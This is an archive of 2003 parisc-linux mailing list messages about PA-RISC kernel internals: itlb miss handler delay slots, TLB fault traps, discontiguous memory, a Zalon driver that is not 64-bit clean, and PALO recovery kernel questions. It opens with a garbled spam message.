Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gmce.net (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C2A84861
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 23:34:30 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19211

ƶʡ
ʱ䣺81831
ݣԤ100Ԫ200Ԫѣϼ300Ԫ12ÿ»25Ԫ
עֻȫͨû
ָҵ绰85580308  85580908
ලͶߵ绰89822292





From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Thu, 14 Aug 2003 08:02:04 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <3F2A5B0400002E28@ocpmta1.freegates.net>
References: <20030813160532.GG17512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622683 29504 80.91.229.3 (22 Nov 2014 02:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:03 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 00:04:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E74F54848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 00:04:05 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19nB9x-0001kU-00; Thu, 14 Aug 2003 08:00:29 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 14 Aug 2003 08:02:04 +0200
In-Reply-To: <20030813160532.GG17512@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19212

>
>I forgot that lamont noticed an interlocked zdep in the PA11 common case
>and we reorderd the insn sequence. Perhaps this helped the numbers a
>bit. I have to run the same lmbench tests on a 64-bit box first to
>compare.

btw is it for that reason (interlock) that in your patch we can read:
[...]
        cmpb,=        %r0,t0,itlb_miss_...
        nop
[...]
I am alway asking why the 'nop'.

Thanks in advance,
    Joel



-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Thu, 14 Aug 2003 12:46:53 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030814114653.GJ10015@parcelfarce.linux.theplanet.co.uk>
References: <20030813160532.GG17512@systemhalted> <3F2A5B0400002E28@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622684 29511 80.91.229.3 (22 Nov 2014 02:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:04 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 05:46:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77D194848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 05:46:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19nGZB-0000PC-Ci; Thu, 14 Aug 2003 12:46:53 +0100
Content-Disposition: inline
In-Reply-To: <3F2A5B0400002E28@ocpmta1.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19213

On Thu, Aug 14, 2003 at 08:02:04AM +0200, Joel Soete wrote:
> btw is it for that reason (interlock) that in your patch we can read:
> [...]
>         cmpb,=        %r0,t0,itlb_miss_...
>         nop
> [...]
> I am alway asking why the 'nop'.

To fill the delayed branch slot (a silly idea, but ...)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Thu, 14 Aug 2003 15:56:42 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3F2A5B04000030E1@ocpmta1.freegates.net>
References: <20030814114653.GJ10015@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622684 29514 80.91.229.3 (22 Nov 2014 02:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:04 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 07:56:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id E03374848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 07:56:47 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19nIYH-0000jJ-00; Thu, 14 Aug 2003 15:54:05 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 14 Aug 2003 15:56:42 +0200
In-Reply-To: <20030814114653.GJ10015@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19214

>This fill the delayed branch slot (a silly idea, but ...)

Ha Ok (yet another concept for me ;-).  I will look for into architecture
books)

For the moment I am studying TLB miss handling and already have a lot of
questions.

But the very first one: H/W or S/W management (I refer to page 3-9 parisc-2.0:
Adress Resolution and the TLB)?

In the 2 cases, if a fault occurs an interrupt (6, 15, 16,17 or 20) is 'triggered'?

Is a printk() in corresponding handle_interruption() case (kernel/traps.c)
would help?
(if that work, how may I know which processor causes fault?)

Thanks again,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Discontig memory.
Date: Thu, 14 Aug 2003 19:42:38 +0530
Lines: 13
Approved: news@gmane.org
Message-ID: <3F3B98D6.84D2464F@india.hp.com>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622684 29520 80.91.229.3 (22 Nov 2014 02:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 08:12:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D2D84848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 08:12:42 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel6.hp.com (Postfix) with ESMTP id C2BA41C01B15
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 10:12:40 -0400 (EDT)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_28761)/8.9.3 SMKit7.02) with ESMTP id TAA14928
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 19:49:53 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19215

Hi,
What exactly are the implications of turning on CONFIG_DISCONTIGMEM?
Does this lead to serious system degradation? I do see a message being
printed on the console during bootup, stating that heavy swapping could
take place, and it is a mistake to turn on this option. I also see a
comment in the code saying that this option is not implemented well. How
seriously will it affect a system thats not running too many processes?
Regards,
Naresh.





From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Discontig memory.
Date: Thu, 14 Aug 2003 15:21:46 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030814142146.GL10015@parcelfarce.linux.theplanet.co.uk>
References: <3F3B98D6.84D2464F@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622685 29523 80.91.229.3 (22 Nov 2014 02:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Naresh <knaresh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 08:21:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B01884848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 08:21:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19nIz4-00032b-Um; Thu, 14 Aug 2003 15:21:46 +0100
Content-Disposition: inline
In-Reply-To: <3F3B98D6.84D2464F@india.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19216

On Thu, Aug 14, 2003 at 07:42:38PM +0530, Naresh wrote:
> Hi,
> What exactly are the implications of turning on CONFIG_DISCONTIGMEM?
> Does this lead to serious system degradation? I do see a message being
> printed on the console during bootup, stating that heavy swapping could
> take place, and it is a mistake to turn on this option. I also see a
> comment in the code saying that this option is not implemented well. How
> seriously will it affect a system thats not running too many processes?

The discontigmem code in 2.4 is very badly written.  it basically
limits you to using the size of the smallest area multiplied by the
number of areas.  on an astro-based system, that's 256MB * 3 = 768MB.
as the warning says, don't turn it on.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gustavo Zacarias <gustavo@zacarias.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Zalon driver not 64-bit clean?
Date: Thu, 14 Aug 2003 12:15:08 -0300
Lines: 12
Approved: news@gmane.org
Message-ID: <3F3BA77C.8080804@zacarias.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622685 29525 80.91.229.3 (22 Nov 2014 02:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 09:16:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nuada.toptech.com.ar (nuada.toptech.com.ar [200.68.70.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52DB84848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 09:16:03 -0600 (MDT)
Original-Received: from zacarias.com.ar (imhotep.toptech.com.ar [200.68.70.115])
	(authenticated)
	by nuada.toptech.com.ar (8.11.6/8.11.6) with ESMTP id h7EFFqL13982
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 12:15:52 -0300
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030805
X-Accept-Language: en-us, en
X-Enigmail-Version: 0.76.4.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Spam-Status: No, hits=-5.6 required=6.0
	tests=AWL,BAYES_01,USER_AGENT_MOZILLA_UA
	version=2.55
X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19217

Hi.
Continuing with the K360 saga, it seems the Zalon driver is not 64-bit 
clean.
By removing it from the kernel config i'm able to boot a 64 bit kernel 
on a K360, but obviously i won't get any network or wide scsi working, 
so it isn't quite useful.
Is anyone aware of this / working on a solution / planning on working? 
Or maybe there's no interest in this?
Thanks in advance.




From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Thu, 14 Aug 2003 09:23:48 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20030814152348.GA17578@dsl2.external.hp.com>
References: <20030814114653.GJ10015@parcelfarce.linux.theplanet.co.uk> <3F2A5B04000030E1@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622685 29527 80.91.229.3 (22 Nov 2014 02:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 09:23:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 688DE4848; Thu, 14 Aug 2003 09:23:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F2A5B04000030E1@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19218

On Thu, Aug 14, 2003 at 03:56:42PM +0200, Joel Soete wrote:
> In the 2 cases, if a fault occurs an interrupt (6, 15, 16,17 or 20) is
> 'triggered'?

yes, but most people call them "traps" or "faults" to be more specific.
Chapter 5 of the PA 2.0 arch book differentiates nicely.

grant


From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Thu, 14 Aug 2003 18:15:28 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3F2A5B0400003183@ocpmta1.freegates.net>
References: <20030814152348.GA17578@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622686 29531 80.91.229.3 (22 Nov 2014 02:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 10:15:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BE9C4848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 10:15:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19nKhc-0006ds-00; Thu, 14 Aug 2003 18:11:52 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 14 Aug 2003 18:15:28 +0200
In-Reply-To: <20030814152348.GA17578@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19219

 
>> 
>> On Thu, Aug 14, 2003 at 03:56:42PM +0200, Joel Soete wrote:
>> In the 2 cases, if a fault occurs an interrupt (6, 15, 16,17 or 20) is
>> 'triggered'?
>>
>yes, but most people call them "traps" or "faults" to be more specific.
>Chapter 5 of the PA 2.0 arch book differentiates nicely.

Yes (that is from where came 6,15,.. reference).
Oh yes, my bad: I didn't notice that here interrupt is not the shortcut of
interruptions as I use to make the mishmash :(

Thanks,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mihails Nikitins <nikitins@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO questions
Date: Thu, 14 Aug 2003 19:36:08 +0300 (EEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <1060878968.3f3bba7807eb5@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622686 29534 80.91.229.3 (22 Nov 2014 02:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 10:36:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 92DA34848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 10:36:09 -0600 (MDT)
Original-Received: (qmail 21196 invoked from network); 14 Aug 2003 16:36:08 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 14 Aug 2003 16:36:08 -0000
Original-Received: (qmail 589 invoked by uid 33); 14 Aug 2003 16:36:08 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19220

Hi all,

1. PALO docs tell "recoverykernel" in palo.conf is the path to the kernel that
you want to boot within a failsafe session, it will be stored in the 'f0'
partition. Do I undertstand correctly that command like 
palo &#8211;I /dev/sda
copies file specified by paloc.conf line
--recoverykernel=/boot/vmlinux   ?

2. Is it possible to see f0 partition contents? In HP-UX, there are commands
working with LIF files like lifls and lifcp. How can I check if there is a
recovery kernel in PALO area?

